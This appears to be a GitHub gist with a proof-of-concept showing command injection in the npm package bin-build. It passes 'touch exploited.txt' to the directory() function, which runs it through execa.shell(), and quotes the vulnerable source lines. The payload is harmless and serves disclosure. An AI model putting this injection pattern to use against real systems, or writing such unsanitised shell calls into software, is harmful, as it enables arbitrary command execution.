Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Last active October 29, 2023 12:15
Show Gist options
  • Save mcoimbra/819c8bd0271c4f5fd4106f7c43449452 to your computer and use it in GitHub Desktop.
Save mcoimbra/819c8bd0271c4f5fd4106f7c43449452 to your computer and use it in GitHub Desktop.
Package bin-build: The src/index.js file in package bin-build allows for command injection via the arguments passed to execa.shell() (see line #8 of src/index.js).
'use strict'
const pkg = require('bin-build');
// A local 'exploited.txt' file will be created.
pkg.directory("./", ["touch exploited.txt"]);
/*
* Relevant code from src/index.js
*
*
* const exec = (cmd, cwd) => pMapSeries(cmd, x => execa.shell(x, {cwd}));
*
* exports.directory = (dir, cmd) => {
* if (typeof dir !== 'string') {
* return Promise.reject(new TypeError(`Expected a \`string\`, got \`${typeof dir}\``));
* }
*
* return exec(cmd, dir);
* };
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment